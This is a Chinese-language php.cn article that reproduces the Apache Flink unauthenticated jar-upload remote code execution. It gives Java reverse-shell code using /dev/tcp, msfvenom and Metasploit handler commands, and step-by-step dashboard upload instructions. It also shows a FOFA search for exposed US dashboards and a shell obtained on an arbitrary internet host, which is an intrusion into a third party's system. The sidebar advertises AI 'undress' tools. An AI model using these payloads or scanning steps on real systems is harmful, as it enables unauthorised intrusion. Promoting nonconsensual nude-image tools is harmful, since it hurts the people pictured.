目录
环境搭建:
漏洞复现:
首页 运维 安全 apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

May 15, 2023 pm 01:01 PM
flink jar包

漏洞描述:

2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。

影响范围

<= 1.9.1(最新版本)

环境搭建:

(1) 提前安装好java(需要java8以上)

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 下载flink-1.9.1

下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz

(3) 解压下载的压缩包:

tar -zxf flink-1.9.1-bin-scala_2.11.tgz
登录后复制

(4) 进去到解压后的目录中,来到其bin目录下:

apache flink任意jar包上传导致远程代码执行的示例分析

(5) 启动flink:

./start-cluster.sh
登录后复制

(6) 浏览器访问验证(默认端口为8081):

http://172.26.1.108:8081

apache flink任意jar包上传导致远程代码执行的示例分析

出现上图即搭建成功.

(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后找到了解决方法)

apache flink任意jar包上传导致远程代码执行的示例分析

开机自启设置

漏洞复现:

jar包制作步骤:

(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell

apache flink任意jar包上传导致远程代码执行的示例分析

记得修改ip和端口:

apache flink任意jar包上传导致远程代码执行的示例分析

代码:

<p >package shell;public class Revs {   <br/> /**    * @param args    * @throws Exception     */    <br/> public static void main(String[] args) throws Exception {        <br/> // TODO Auto-generated method stub        <br/> Runtime r = Runtime.getRuntime();        <br/> String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.12/9999;<br> cat <&5 | while read line; do $line 2>&5 >&amp5; done"};        <br> Process p = r.exec(cmd);        <br> p.waitFor();<br>     }}</p>
<p>(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File-->Export(导出)</p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687669673.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>b.然后选择java-->Runnable JAR file</p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687683044.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>c.然后选择对应的java项目和导出路径以及导出文件名</p>
<p><img src="/static/imghw/default1.png" data-src="https://img.php.cn/upload/article/000/887/227/168412687618388.jpg" class="lazy" alt="apache flink任意jar包上传导致远程代码执行的示例分析"></p>
<p>图片</p>
<p>这样就生成了一个反弹shell的jar包</p>
<p>msf生成jar马:</p>
<p>(1) 利用msfvenom来生成一个jar马:</p>
<pre class="brush:php;toolbar:false">msfvenom -p java/meterpreter/reverse_tcp LHOST=172.26.1.156 LPORT=9999 W >text.jar
登录后复制

(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)

use exploit/multi/handlerset payload java/meterpreter/reverse_tcpset LHOST 172.26.1.156set LPORT 9999exploit
登录后复制


(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:apache flink任意jar包上传导致远程代码执行的示例分析

apache flink任意jar包上传导致远程代码执行的示例分析

本地复现:

(1) 访问目标:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 点击Submit New job,打开上传jar包的页面:

apache flink任意jar包上传导致远程代码执行的示例分析

(3) 点击Add New选择我们制作好的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)

(5) 点击我们刚刚上传的jar包:

apache flink任意jar包上传导致远程代码执行的示例分析

(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:

apache flink任意jar包上传导致远程代码执行的示例分析

互联网站点:

fofa关键词:

"apache-flink-dashboard" && country="US"

apache flink任意jar包上传导致远程代码执行的示例分析

(1) 随便找一个目标:

apache flink任意jar包上传导致远程代码执行的示例分析

(2) 点击Submit new Job,可以看到其可以允许我们上传jar包

apache flink任意jar包上传导致远程代码执行的示例分析

(3) 利用flink上传jar包的功能将我们的jar包上传:

apache flink任意jar包上传导致远程代码执行的示例分析

(4) 上传后,我们在我们的vps上监听好端口

(5) 然后回到浏览器,选中我们刚刚上传的jar包,然后点击Submitting提交,可以看到我们的vps已经成功接收到了shell

apache flink任意jar包上传导致远程代码执行的示例分析

漏洞修复:

建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。

时刻关注官网,等待新版本或补丁更新

以上是apache flink任意jar包上传导致远程代码执行的示例分析的详细内容。更多信息请关注PHP中文网其他相关文章!

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

仓库:如何复兴队友
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.能量晶体解释及其做什么(黄色晶体)
2 周前 By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒险:如何获得巨型种子
1 个月前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

eclipse如何导入jar包 eclipse如何导入jar包 Jan 12, 2024 pm 03:45 PM

eclipse导入jar包的方法:1、创建一个新的Java项目;2、创建库文件夹;3、将jar包复制到库文件夹中;4、配置项目构建路径;5、添加jar包到构建路径;6、配置项目构建路径;7、验证导入结果;8、注意事项;9、其他导入方法;10、清理和更新;11、维护和更新库。详细介绍:1、创建一个新的Java项目,启动Eclipse IDE,顶部菜单栏中选择“File”菜单等等。

maven怎么导入jar包 maven怎么导入jar包 Jan 08, 2024 pm 01:59 PM

maven导入jar包的步骤:1、下载jar包;2、创建Maven项目;3、添加依赖;4、添加dependency元素;5、保存pom.xml文件;6、构建项目;7、验证导入。详细介绍:1、下载jar包,首先从相关网站或源代码仓库下载所需的jar包,确保下载的jar包与你的项目兼容,并符合所需的版本要求;2、创建Maven项目,如果还没有Maven项目,需要先创建一个等等。

Spark Streaming与Flink之间的对比 Spark Streaming与Flink之间的对比 Apr 19, 2024 pm 12:51 PM

SparkStreaming和Flink都是流处理框架,具有不同的特性:编程模型:SparkStreaming基于SparkRDD模型,而Flink拥有自己的流式处理API。状态管理:Flink内置状态管理,而SparkStreaming需要外部解决方案。容错性:Flink基于快照,而SparkStreaming基于检查点。扩展性:Flink基于流操作符链,而SparkStreaming基于集群扩展。在实时数据聚合用例中,Flink通常性能优于SparkStreaming,因为它提供了更好的吞吐

Maven进阶教程:深入探索Jar包导入的各种方法 Maven进阶教程:深入探索Jar包导入的各种方法 Feb 23, 2024 pm 02:57 PM

标题:Maven进阶教程:深入探索Jar包导入的各种方法Maven作为Java项目管理工具,广泛应用于项目的构建、依赖管理等方面。在实际开发过程中,我们经常会用到各种第三方库的Jar包,而如何有效地导入Jar包成为了一个必须掌握的技能。本文将深入探讨Maven中导入Jar包的方法,包括使用本地Jar包、远程仓库Jar包以及自定义Jar包等多种方式,并给出具体

在Go语言中使用Flink实现高效的数据流处理 在Go语言中使用Flink实现高效的数据流处理 Jun 15, 2023 pm 09:10 PM

随着大数据时代的来临,数据处理成为了各个行业都需要关注和解决的问题。而作为一种高性能的数据处理工具,Flink的出现为我们提供了一个高效、可靠、可扩展的解决方案。在本文中,我们将介绍如何在Go语言中使用Flink实现高效的数据流处理。一、Flink简介ApacheFlink是一个开源的分布式数据处理平台,它的目标是提供一种高效、可靠、可扩展的处理大规模数据

MySQL的Jar包使用指南及注意事项 MySQL的Jar包使用指南及注意事项 Mar 01, 2024 pm 04:21 PM

MySQL的Jar包使用指南及注意事项MySQL是一种常用的关系型数据库管理系统,许多Java项目都会使用MySQL作为数据存储的后端。在Java项目中,要与MySQL数据库进行交互,就需要使用MySQL提供的Java驱动程序(即Jar包)。本文将介绍MySQL的Jar包的使用指南及注意事项,并提供具体的代码示例,帮助读者更好地使用MySQL驱动程序。一、M

指导如何正确导入Jar包至Maven项目 指导如何正确导入Jar包至Maven项目 Feb 19, 2024 pm 12:00 PM

Maven入门指南:如何正确导入Jar包?Maven是一个强大的项目管理工具,能够帮助开发人员管理项目依赖、构建项目等。在项目开发中,我们经常需要导入外部的Jar包来实现一些功能。本文将介绍如何使用Maven来正确导入Jar包,并提供具体的代码示例。首先,我们需要在Maven的pom.xml文件中添加对所需Jar包的依赖。在pom.xml中,有一个

MySQL的Jar包是什么?详细解析 MySQL的Jar包是什么?详细解析 Mar 01, 2024 pm 06:33 PM

MySQL的Jar包是指用于连接和操作MySQL数据库的Java驱动程序包。在Java开发中,需要通过Jar包来实现与MySQL数据库的交互功能。MySQL的Jar包提供了一系列的类和方法,使得开发人员可以轻松地连接MySQL数据库、执行SQL语句、获取查询结果等操作。一般情况下,开发人员可以通过官方网站或者Maven仓库等渠道下载MySQL的Jar包,并将

See all articles